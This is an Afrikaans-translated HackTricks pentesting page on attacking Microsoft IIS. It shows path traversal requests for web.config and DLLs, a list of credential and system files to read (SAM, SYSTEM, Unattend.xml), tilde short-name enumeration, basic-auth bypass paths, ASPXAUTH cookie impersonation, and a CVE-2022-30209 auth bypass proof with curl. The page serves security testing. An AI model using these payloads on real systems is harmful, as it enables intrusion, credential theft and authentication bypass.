mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
265 lines
14 KiB
Markdown
265 lines
14 KiB
Markdown
# IIS - Internet Information Services
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Toets uitvoerbare lêer uitbreidings:
|
||
|
||
- asp
|
||
- aspx
|
||
- config
|
||
- php
|
||
|
||
## Interne IP-adres bekendmaking
|
||
|
||
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verwyder en HTTP/1.0 te gebruik, en binne die antwoord kan die Location-kop jou na die interne IP-adres lei:
|
||
```
|
||
nc -v domain.com 80
|
||
openssl s_client -connect domain.com:443
|
||
```
|
||
Antwoord wat die interne IP openbaar:
|
||
```
|
||
GET / HTTP/1.0
|
||
|
||
HTTP/1.1 302 Moved Temporarily
|
||
Cache-Control: no-cache
|
||
Pragma: no-cache
|
||
Location: https://192.168.5.237/owa/
|
||
Server: Microsoft-IIS/10.0
|
||
X-FEServer: NHEXCHANGE2016
|
||
```
|
||
## Voer .config lêers uit
|
||
|
||
Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne 'n HTML-kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||
|
||
Meer inligting en tegnieke om hierdie kwesbaarheid te benut [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||
|
||
## IIS Ontdekking Bruteforce
|
||
|
||
Laai die lys af wat ek geskep het:
|
||
|
||
{{#file}}
|
||
iisfinal.txt
|
||
{{#endfile}}
|
||
|
||
Dit is geskep deur die inhoud van die volgende lyste te kombineer:
|
||
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||
|
||
Gebruik dit sonder om enige uitbreiding by te voeg, die lêers wat dit benodig het dit reeds.
|
||
|
||
## Pad Traversal
|
||
|
||
### Lek van bronkode
|
||
|
||
Kyk na die volledige skrywe in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||
|
||
> [!NOTE]
|
||
> As opsomming, daar is verskeie web.config lêers binne die vouers van die aansoek met verwysings na "**assemblyIdentity**" lêers en "**namespaces**". Met hierdie inligting is dit moontlik om te weet **waar uitvoerbare lêers geleë is** en dit af te laai.\
|
||
> Van die **afgelaaide Dlls** is dit ook moontlik om **nuwe namespaces** te vind waar jy moet probeer om toegang te verkry en die web.config lêer te kry om nuwe namespaces en assemblyIdentity te vind.\
|
||
> Ook, die lêers **connectionstrings.config** en **global.asax** mag interessante inligting bevat.
|
||
|
||
In **.Net MVC aansoeke**, speel die **web.config** lêer 'n belangrike rol deur elke binêre lêer wat die aansoek afhanklik is van te spesifiseer deur middel van **"assemblyIdentity"** XML etikette.
|
||
|
||
### **Verkenning van Binêre Lêers**
|
||
|
||
'n Voorbeeld van toegang tot die **web.config** lêer word hieronder getoon:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:
|
||
|
||
- **EntityFramework** weergawe
|
||
- **AppSettings** vir webbladsye, kliëntvalidasie, en JavaScript
|
||
- **System.web** konfigurasies vir outentisering en tydsduur
|
||
- **System.webServer** modules instellings
|
||
- **Runtime** assembly bindings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
|
||
|
||
Hierdie instellings dui aan dat sekere lêers, soos **/bin/WebGrease.dll**, geleë is binne die toepassing se /bin gids.
|
||
|
||
### **Worteldirectory Lêers**
|
||
|
||
Lêers wat in die worteldirectory gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
|
||
|
||
### **Namespaces en Web.Config**
|
||
|
||
MVC-toepassings definieer ook addisionele **web.config lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
### **Aflaai DLL's**
|
||
|
||
Die vermelding van 'n pasgemaakte naamruimte dui op 'n DLL genaamd "**WebApplication1**" wat in die /bin-gids teenwoordig is. Na hierdie, word 'n versoek om die **WebApplication1.dll** af te laai, gewys:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Dit dui op die teenwoordigheid van ander essensiële DLL's, soos **System.Web.Mvc.dll** en **System.Web.Optimization.dll**, in die /bin-gids.
|
||
|
||
In 'n scenario waar 'n DLL 'n naamruimte genaamd **WebApplication1.Areas.Minded** invoer, kan 'n aanvaller die bestaan van ander web.config-lêers in voorspelbare paaie aflei, soos **/area-name/Views/**, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin-gids bevat. Byvoorbeeld, 'n versoek na **/Minded/Views/web.config** kan konfigurasies en naamruimtes onthul wat die teenwoordigheid van 'n ander DLL, **WebApplication1.AdditionalFeatures.dll**, aandui.
|
||
|
||
### Algemene lêers
|
||
|
||
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
```
|
||
C:\Apache\conf\httpd.conf
|
||
C:\Apache\logs\access.log
|
||
C:\Apache\logs\error.log
|
||
C:\Apache2\conf\httpd.conf
|
||
C:\Apache2\logs\access.log
|
||
C:\Apache2\logs\error.log
|
||
C:\Apache22\conf\httpd.conf
|
||
C:\Apache22\logs\access.log
|
||
C:\Apache22\logs\error.log
|
||
C:\Apache24\conf\httpd.conf
|
||
C:\Apache24\logs\access.log
|
||
C:\Apache24\logs\error.log
|
||
C:\Documents and Settings\Administrator\NTUser.dat
|
||
C:\php\php.ini
|
||
C:\php4\php.ini
|
||
C:\php5\php.ini
|
||
C:\php7\php.ini
|
||
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
||
c:\Program Files (x86)\php\php.ini"
|
||
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
||
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
||
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
||
C:\Program Files\MySQL\my.cnf
|
||
C:\Program Files\MySQL\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
||
C:\Program Files\php\php.ini
|
||
C:\Users\Administrator\NTUser.dat
|
||
C:\Windows\debug\NetSetup.LOG
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\php.ini
|
||
C:\Windows\repair\SAM
|
||
C:\Windows\repair\system
|
||
C:\Windows\System32\config\AppEvent.evt
|
||
C:\Windows\System32\config\RegBack\SAM
|
||
C:\Windows\System32\config\RegBack\system
|
||
C:\Windows\System32\config\SAM
|
||
C:\Windows\System32\config\SecEvent.evt
|
||
C:\Windows\System32\config\SysEvent.evt
|
||
C:\Windows\System32\config\SYSTEM
|
||
C:\Windows\System32\drivers\etc\hosts
|
||
C:\Windows\System32\winevt\Logs\Application.evtx
|
||
C:\Windows\System32\winevt\Logs\Security.evtx
|
||
C:\Windows\System32\winevt\Logs\System.evtx
|
||
C:\Windows\win.ini
|
||
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
||
C:\xampp\apache\conf\httpd.conf
|
||
C:\xampp\apache\logs\access.log
|
||
C:\xampp\apache\logs\error.log
|
||
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
||
C:\xampp\MercuryMail\MERCURY.INI
|
||
C:\xampp\mysql\bin\my.ini
|
||
C:\xampp\php\php.ini
|
||
C:\xampp\security\webdav.htpasswd
|
||
C:\xampp\sendmail\sendmail.ini
|
||
C:\xampp\tomcat\conf\server.xml
|
||
```
|
||
## HTTPAPI 2.0 404 Fout
|
||
|
||
As jy 'n fout soos die volgende sien:
|
||
|
||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||
|
||
Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-header ontvang het.\
|
||
Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy **brute force VHosts** moet gebruik totdat jy die korrekte een vind.
|
||
|
||
## Ou IIS kwesbaarhede wat die moeite werd is om na te kyk
|
||
|
||
### Microsoft IIS tilde karakter “\~” Kwesbaarheid/Funksie – Korte Lêer/Map Naam Ontsluiting
|
||
|
||
Jy kan probeer om **mappe en lêers** binne elke ontdekte map te **enumerate** (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
|
||
Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat dit **slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
|
||
|
||
Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||
|
||
.png>)
|
||
|
||
Oorspronklike navorsing: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||
|
||
Jy kan ook **metasploit** gebruik: `use scanner/http/iis_shortname_scanner`
|
||
|
||
'n Goeie idee om die **finale naam** van die ontdekte lêers te **vind** is om **LLMs** vir opsies te **vraag** soos dit in die skrif [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gedoen word.
|
||
|
||
### Basiese Verifikasie omseiling
|
||
|
||
**Omseil** 'n basiese verifikasie (**IIS 7.5**) deur te probeer om toegang te verkry tot: `/admin:$i30:$INDEX_ALLOCATION/admin.php` of `/admin::$INDEX_ALLOCATION/admin.php`
|
||
|
||
Jy kan probeer om hierdie **kwesbaarheid** en die laaste een te **meng** om nuwe **mappe** te vind en die verifikasie te **omseil**.
|
||
|
||
## ASP.NET Trace.AXD geaktiveerde foutopsporing
|
||
|
||
ASP.NET sluit 'n foutopsporingsmodus in en sy lêer word `trace.axd` genoem.
|
||
|
||
Dit hou 'n baie gedetailleerde logboek van alle versoeke wat oor 'n tydperk aan 'n toepassing gemaak is.
|
||
|
||
Hierdie inligting sluit afstandsklient IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in.
|
||
|
||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||
|
||

|
||
|
||
## ASPXAUTH Koekie
|
||
|
||
ASPXAUTH gebruik die volgende inligting:
|
||
|
||
- **`validationKey`** (string): hex-gecodeerde sleutel om te gebruik vir handtekeningvalidasie.
|
||
- **`decryptionMethod`** (string): (standaard “AES”).
|
||
- **`decryptionIV`** (string): hex-gecodeerde inisialiseringvektor (standaard na 'n vektor van nulles).
|
||
- **`decryptionKey`** (string): hex-gecodeerde sleutel om te gebruik vir ontsleuteling.
|
||
|
||
Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die koekie van die tweede bediener in die eerste een te **gebruik** en die gebruiker na te boots.\
|
||
Hierdie aanval het gewerk in hierdie [**skrywe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||
|
||
## IIS Verifikasie Omseiling met gekapte wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||
|
||
[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n fout in die kode **het nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie**, so 'n aanvaller wie se **wagwoordhash 'n sleutel tref** wat reeds in die **cache** is, sal in staat wees om as daardie gebruiker aan te meld.
|
||
```python
|
||
# script for sanity check
|
||
> type test.py
|
||
def HashString(password):
|
||
j = 0
|
||
for c in map(ord, password):
|
||
j = c + (101*j)&0xffffffff
|
||
return j
|
||
|
||
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||
|
||
# before the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 401 Unauthorized
|
||
|
||
# after the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 200 OK
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|